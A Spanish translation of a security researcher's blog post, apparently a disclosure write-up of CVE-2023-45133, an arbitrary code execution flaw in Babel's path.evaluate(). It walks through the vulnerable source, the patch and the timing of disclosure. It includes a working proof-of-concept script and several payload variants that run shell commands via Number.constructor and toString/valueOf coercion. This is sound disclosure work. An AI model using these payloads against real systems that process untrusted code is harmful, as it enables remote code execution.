CVE-2023-45133: Hallazgo de una Vulnerabilidad de Ejecución Arbitraria de Código en Babel
Esta página fue traducida por PageTurner AI (beta). No está respaldada oficialmente por el proyecto. ¿Encontraste un error? Reportar problema →
El 10 de octubre de 2023 descubrí una vulnerabilidad de ejecución arbitraria de código en Babel, a la que posteriormente se le asignó el identificador CVE-2023-45133. En esta publicación, te guiaré a través del proceso de descubrimiento y explotación de esta intrigante falla.
Este artículo se publicó originalmente en el blog de William Khem Marquez. También publicó una serie sobre el uso de Babel para desofuscar código JavaScript: ¡échale un vistazo!
Quienes usan Babel para ingeniería inversa/desofuscación de código valoran su funcionalidad integrada. Una de las características más útiles es la capacidad de evaluar expresiones estáticamente mediante path.evaluate() y path.evaluateTruthy(). He escrito sobre esto en artículos anteriores:
Espera, ¿dije evaluar estáticamente?
La Explotación
Antes de profundizar en los detalles, veamos la prueba de concepto que desarrollé:
Prueba de Concepto
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default;
const source = `String({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`;
const ast = parser.parse(source);
const evalVisitor = {
Expression(path) {
path.evaluate();
},
};
traverse(ast, evalVisitor);
Esto simplemente muestra el resultado del comando id en la terminal, como se puede ver a continuación.
┌──(kali㉿kali)-[~/Babel RCE]
└─$ node exploit.js
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer),142(vboxsf)
Por supuesto, la carga útil puede adaptarse para realizar cualquier acción, como exfiltrar datos o generar una shell inversa.
Desglose de la Explotación
Para entender por qué funciona esta vulnerabilidad, debemos analizar el código fuente de la función culpable, evaluate. El código fuente de babel-traverse/src/path/evaluation.ts previo al parche está archivado aquí
/**
* Walk the input `node` and statically evaluate it.
*
* Returns an object in the form `{ confident, value, deopt }`. `confident`
* indicates whether or not we had to drop out of evaluating the expression
* because of hitting an unknown node that we couldn't confidently find the
* value of, in which case `deopt` is the path of said node.
*
* Example:
*
* t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
* t.evaluate(parse("!true")) // { confident: true, value: false }
* t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
*
*/
export function evaluate(this: NodePath): {
confident: boolean;
value: any;
deopt?: NodePath;
} {
const state: State = {
confident: true,
deoptPath: null,
seen: new Map(),
};
let value = evaluateCached(this, state);
if (!state.confident) value = undefined;
return {
confident: state.confident,
deopt: state.deoptPath,
value: value,
};
}
Cuando se invoca evaluate en un NodePath, pasa por el wrapper evaluatedCached antes de llegar a la función _evaluate que realiza el trabajo pesado. La función _evaluate es donde reside la vulnerabilidad.
Esta función se encarga de descomponer recursivamente nodos AST hasta alcanzar operaciones atómicas evaluables con certeza. La mayoría de los casos base evalúan solo operaciones atómicas (como expresiones binarias entre dos literales). Sin embargo, existen algunas excepciones.
Las dos partes relevantes del código fuente son el manejo de expresiones de llamada y expresiones de objeto, como se muestra a continuación:
Código Fuente Vulnerable
Relevant _evaluate source code
const VALID_OBJECT_CALLEES = ["Number", "String", "Math"] as const;
const VALID_IDENTIFIER_CALLEES = [
"isFinite",
"isNaN",
"parseFloat",
"parseInt",
"decodeURI",
"decodeURIComponent",
"encodeURI",
"encodeURIComponent",
process.env.BABEL_8_BREAKING ? "btoa" : null,
process.env.BABEL_8_BREAKING ? "atob" : null,
] as const;
const INVALID_METHODS = ["random"] as const;
function isValidObjectCallee(
val: string
): val is (typeof VALID_OBJECT_CALLEES)[number] {
return VALID_OBJECT_CALLEES.includes(
// @ts-expect-error val is a string
val
);
}
function isValidIdentifierCallee(
val: string
): val is (typeof VALID_IDENTIFIER_CALLEES)[number] {
return VALID_IDENTIFIER_CALLEES.includes(
// @ts-expect-error val is a string
val
);
}
function isInvalidMethod(val: string): val is (typeof INVALID_METHODS)[number] {
return INVALID_METHODS.includes(
// @ts-expect-error val is a string
val
);
}
function _evaluate(path: NodePath, state: State): any {
/** snip **/
if (path.isObjectExpression()) {
const obj = {};
const props = path.get("properties");
for (const prop of props) {
if (prop.isObjectMethod() || prop.isSpreadElement()) {
deopt(prop, state);
return;
}
const keyPath = (prop as NodePath<t.ObjectProperty>).get("key");
let key;
// @ts-expect-error todo(flow->ts): type refinement issues ObjectMethod and SpreadElement somehow not excluded
if (prop.node.computed) {
key = keyPath.evaluate();
if (!key.confident) {
deopt(key.deopt, state);
return;
}
key = key.value;
} else if (keyPath.isIdentifier()) {
key = keyPath.node.name;
} else {
key = (
keyPath.node as t.StringLiteral | t.NumericLiteral | t.BigIntLiteral
).value;
}
const valuePath = (prop as NodePath<t.ObjectProperty>).get("value");
let value = valuePath.evaluate();
if (!value.confident) {
deopt(value.deopt, state);
return;
}
value = value.value;
// @ts-expect-error key is any type
obj[key] = value;
}
return obj;
}
/** snip **/
if (path.isCallExpression()) {
const callee = path.get("callee");
let context;
let func;
// Number(1);
if (
callee.isIdentifier() &&
!path.scope.getBinding(callee.node.name) &&
(isValidObjectCallee(callee.node.name) ||
isValidIdentifierCallee(callee.node.name))
) {
func = global[callee.node.name];
}
if (callee.isMemberExpression()) {
const object = callee.get("object");
const property = callee.get("property");
// Math.min(1, 2)
if (
object.isIdentifier() &&
property.isIdentifier() &&
isValidObjectCallee(object.node.name) &&
!isInvalidMethod(property.node.name)
) {
context = global[object.node.name];
// @ts-expect-error property may not exist in context object
func = context[property.node.name];
}
// "abc".charCodeAt(4)
if (object.isLiteral() && property.isIdentifier()) {
// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type (StringLiteral and NumberLiteral)
const type = typeof object.node.value;
if (type === "string" || type === "number") {
// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type
context = object.node.value;
func = context[property.node.name];
}
}
}
if (func) {
const args = path
.get("arguments")
.map((arg) => evaluateCached(arg, state));
if (!state.confident) return;
return func.apply(context, args);
}
}
/** snip **/
}
Manejo de Expresiones de Llamada
Lo primero es entender que aunque las expresiones de llamada pueden evaluarse, están sujetas a una verificación de lista blanca mediante los arrays VALID_OBJECT_CALLEES o VALID_IDENTIFIER_CALLEES.
Adicionalmente, existen tres casos para manejar expresiones de llamada:
-
Cuando el callee es un identificador, y dicho identificador está en la lista blanca de
VALID_OBJECT_CALLEESoVALID_IDENTIFIER_CALLEES. -
Cuando el callee es una expresión de miembro, el objeto es un identificador, dicho identificador está en
VALID_OBJECT_CALLEES, y la propiedad no está en la lista negra deINVALID_METHODS. -
Cuando el callee es una expresión de miembro, el objeto es un literal y la propiedad es un literal de cadena o numérico.
El caso más interesante es el segundo:
if (
object.isIdentifier() &&
property.isIdentifier() &&
isValidObjectCallee(object.node.name) &&
!isInvalidMethod(property.node.name)
) {
context = global[object.node.name];
// @ts-expect-error property may not exist in context object
func = context[property.node.name];
}
/** snip **/
if (func) {
const args = path.get("arguments").map((arg) => evaluateCached(arg, state));
if (!state.confident) return;
return func.apply(context, args);
}
El único método bloqueado es random, que pertenece al objeto Math. Esto significa que cualquier otro método de los objetos permitidos (Number, String o Math) puede ser referenciado directamente.
En JavaScript, todas las clases son funciones. Como Number y String son clases globales de JavaScript, su propiedad constructor apunta al constructor Function.
Por lo tanto, las dos expresiones siguientes son equivalentes:
Number.constructor('javascript_code_here;');
Function('javascript_code_here;');
Al pasar una cadena arbitraria al constructor Function, se devuelve una función que evaluará la cadena proporcionada como código JavaScript cuando sea invocada.
El nodo AST generado por Number.constructor('javascript_code_here;') contiene:
- Una expresión de llamada, donde:
- El callee es una expresión de miembro, donde:
- El objeto es un identificador con nombre permitido por
VALID_OBJECT_CALLEES - La propiedad es un identificador no bloqueado por
INVALID_METHODS
- El objeto es un identificador con nombre permitido por
- Los argumentos son un único literal de cadena que contiene el código a ejecutar.
- El callee es una expresión de miembro, donde:
Por lo tanto, el código se considera seguro para evaluar y hemos construido con éxito una función maliciosa.
Sin embargo, es crucial notar que esto no puede invocar la función por sí mismo. Solo crea una función anónima.
Entonces, ¿cómo podemos invocar esta función? Aquí entra la segunda pieza del rompecabezas: expresiones de objeto.
Manejo de expresiones de objeto
Dentro del método _evaluate de Babel, un nodo ObjectExpression sufre evaluación recursiva para producir un objeto JavaScript real. No hay limitaciones en los nombres de claves para ObjectProperty. Mientras cada hijo ObjectProperty en el ObjectExpression produzca confident: true en _evaluate(), podemos obtener un objeto JavaScript con claves/valores personalizados.
Una propiedad clave que podemos aprovechar es toString (Referencia MDN). Al asignar a esta propiedad una función que controlemos, podremos ejecutar código arbitrario cuando el objeto se convierta en cadena.
Esto es exactamente lo que hacemos en el payload:
String(({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
Hemos asignado nuestra función maliciosa, creada mediante el constructor Function, a la propiedad toString del objeto. Así, cuando este objeto se convierte en cadena, se dispara y ejecuta.
En el ejemplo proporcionado, pasamos el objeto a la función String, dado su estatus como función permitida (referenciada en el caso 1). Aún así, el constructor String no es obligatorio. La coerción implícita de tipos en JavaScript también puede activar nuestra función maliciosa, como demuestran estos formatos alternativos de payload:
""+(({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
1+(({ valueOf: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
El primer ejemplo emplea coerción de tipos para transformar el objeto en cadena. En contraste, el segundo ejemplo utiliza coerción de tipos para convertirlo en número, como se detalla en Object.prototype.valueOf(). Ambos ejemplos explotan el enfoque del método _evaluate() para manejar nodos BinaryExpression, que realiza directamente la operación tras evaluar recursivamente los operandos izquierdo y derecho.
El parche
Tras divulgar esta vulnerabilidad, me impresionó la rápida respuesta del equipo de Babel, que implementó prontamente un parche. Este parche se lanzó en dos partes:
La primera fue una solución alternativa para todos los paquetes oficiales de Babel afectados, protegiendo las llamadas a evalute() con una verificación isPure(). isPure previene inherentemente este error, ya que devuelve falso para todos los nodos MemberExpression. PR #16032: Actualizar paquetes babel-polyfills
El paso subsiguiente implicó refinar la función evaluate(). Este ajuste garantizó que todos los métodos heredados, no solo constructor, quedaran bloqueados para ser invocados. PR #16033: Evaluar solo métodos propios de String/Number/Math
Tras implementar las correcciones, el personal de GitHub asignó CVE-2023-45133 para la asesoría de seguridad.
Una nota sobre el momento de divulgación
Habrás notado que esta publicación coincide con la fecha del aviso de seguridad. Normalmente para vulnerabilidades críticas, se suele esperar antes de revelar pruebas de concepto. Sin embargo, creo que este momento es justificable por varias razones:
Principalmente, la mayoría de usuarios de Babel no se ven afectados. Babel se usa principalmente para refactorizar y transpilar código propio, por lo que el caso de uso típico no expone este riesgo. Es improbable que muchos tengan implementaciones en servidor que procesen código arbitrario mediante plugins de compilación o invocaciones de path.evaluate. Además, solo existen un par de casos reales para analizar código no confiable en servidores:
-
Ingeniería inversa de software anti-bots, etc.
-
Análisis de malware
En el primer caso, dudo que entidades legítimas intenten Ejecución Remota de Código (RCE) por implicaciones legales. Mientras, profesionales que usan Babel para análisis de malware trabajan en entornos controlados y en sandbox. Así, el riesgo real para la comunidad es mínimo.
Conclusión
Descubrir y profundizar en esta vulnerabilidad fue una experiencia fascinante. Inicialmente la encontré durante una lluvia de ideas para un desafío basado en Babel en UofTCTF, donde investigaba un "error" completamente diferente y no relacionado con seguridad.
Esta vulnerabilidad afecta principalmente a quienes integran código no confiable con Babel. Desafortunadamente, esto coloca a quienes usan Babel para "desofuscación estática" directamente en la mira de este vector.
Hay cierta ironía en que mi primera CVE acreditada surgiera de la ingeniería inversa de Babel, la misma herramienta que uso para revertir JavaScript y tema de todas mis publicaciones anteriores 🤣.
Fue una gran experiencia de aprendizaje, y espero que este análisis también te resulte útil. ¡Gracias por leer y cuídate!